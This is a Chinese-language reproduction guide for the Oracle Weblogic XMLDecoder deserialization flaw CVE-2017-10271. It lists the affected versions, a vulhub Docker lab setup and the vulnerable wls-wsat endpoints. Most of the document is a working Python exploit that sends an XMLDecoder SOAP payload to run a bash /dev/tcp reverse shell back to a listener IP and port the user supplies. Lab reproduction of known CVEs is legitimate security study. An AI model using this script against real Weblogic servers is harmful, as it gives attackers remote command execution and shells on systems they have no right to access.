Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271
漏洞描述
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
影响版本
Weblogic 10.3.6.0.0
Weblogic 12.1.3.0.0
Weblogic 12.2.1.0.0
Weblogic 12.2.1.2.0
环境搭建
$ git clone https://github.com/vulhub/vulhub.git
$ cd vulhub/weblogic/CVE-2017-10271
$ sudo docker-compose up -d
漏洞复现
访问网站,即为环境搭建成功:
访问http://x.x.x.x:7001/wls-wsat/CoordinatorPortType,可以访问则漏洞存在:
其他可以使用的url:
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
反弹shell exp:
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.tech
import requests
import sys
import json
def title():
print(‘+------------------------------------------‘)
print(‘+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m‘)
print(‘+ \033[34mGithub : https://github.com/PeiQi0 \033[0m‘)
print(‘+ \033[34m公众号 : PeiQi文库 \033[0m‘)
print(‘+ \033[34mVersion: Weblogic 10.3.6.0.0 \033[0m‘)
print(‘+ \033[34m Weblogic 12.1.3.0.0 \033[0m‘)
print(‘+ \033[34m Weblogic 12.2.1.0.0 \033[0m‘)
print(‘+ \033[34m Weblogic 12.2.1.2.0 \033[0m‘)
print(‘+ \033[36m使用格式: python3 CVE-2017-10271.py \033[0m‘)
print(‘+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx:7001 \033[0m‘)
print(‘+ \033[36mCmd >>> shell(反弹shell) \033[0m‘)
print(‘+------------------------------------------‘)
def POC_1(target_url, IP, PORT):
vuln_url = target_url + "/wls-wsat/CoordinatorPortType"
headers = {
"Content-Type": "text/xml",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
data = """
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/%s/%s 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
""" % (IP,PORT)
try:
response = requests.request("POST", url=vuln_url, headers=headers, data=data)
except:
print("\033[31m[x] 漏洞利用失败 \033[0m")
if __name__ == ‘__main__‘:
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
IP = str(input("\033[35m请输入监听IP >>> \033[0m"))
PORT = str(input("\033[35m请输入监听PORT >>> \033[0m"))
POC_1(target_url, IP, PORT)
反弹shell: